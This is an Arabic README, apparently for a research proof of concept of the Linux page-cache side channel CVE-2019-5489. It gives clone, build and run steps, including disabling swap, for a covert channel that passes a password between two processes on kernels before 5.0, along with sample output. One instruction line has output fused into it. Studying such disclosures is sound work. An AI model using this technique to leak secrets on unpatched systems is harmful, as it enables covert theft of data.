
هجمات القناة الجانبية لذاكرة التخزين المؤقت للصفحات (CVE-2019-5489) إثبات المفهوم لنظام لينكس
يحتوي هذا المستودع على إثبات المفهوم لهجمات القناة الجانبية لذاكرة التخزين المؤقت للصفحات (CVE-2019-5489) لنظام Linux.
من أجل تقييم القناة الجانبية لذاكرة التخزين المؤقت للصفحات، قمت بتطبيق قناة سرية بين عمليتين. ترسل عملية المرسل بيانات سرية إلى عملية المستقبل عبر القناة الجانبية لذاكرة التخزين المؤقت للصفحات. تم التخفيف من هجمات ذاكرة التخزين المؤقت للصفحات في نواة لينكس 5.0 والإصدارات الأحدث، لذا ستعمل هذه الأداة (PoC) فقط قبل نواة لينكس 5.0.
ملاحظة: لقد تم اختبارها على Ubuntu 18.04، Linux 4.15.0-70.
قم بتشغيل الأمر التالي.
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
قم بتعطيل مساحة المبادلة لتسهيل الهجوم.
swapoff -a
أولاً، قم بتشغيل الأمر التالي في الطرفية 1.
make run-sender
بعد ظهور على الطرفية 1، قم بتشغيل الأمر التالي.
sending 1th character ...make run-receiver
إذا تم التنفيذ بنجاح، فسيتم إخراج ما يلي.
يظهر هذا أن المفتاح تم إرساله من عملية المرسل إلى عملية المستقبل عبر القناة الجانبية لذاكرة التخزين المؤقت للصفحات.
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord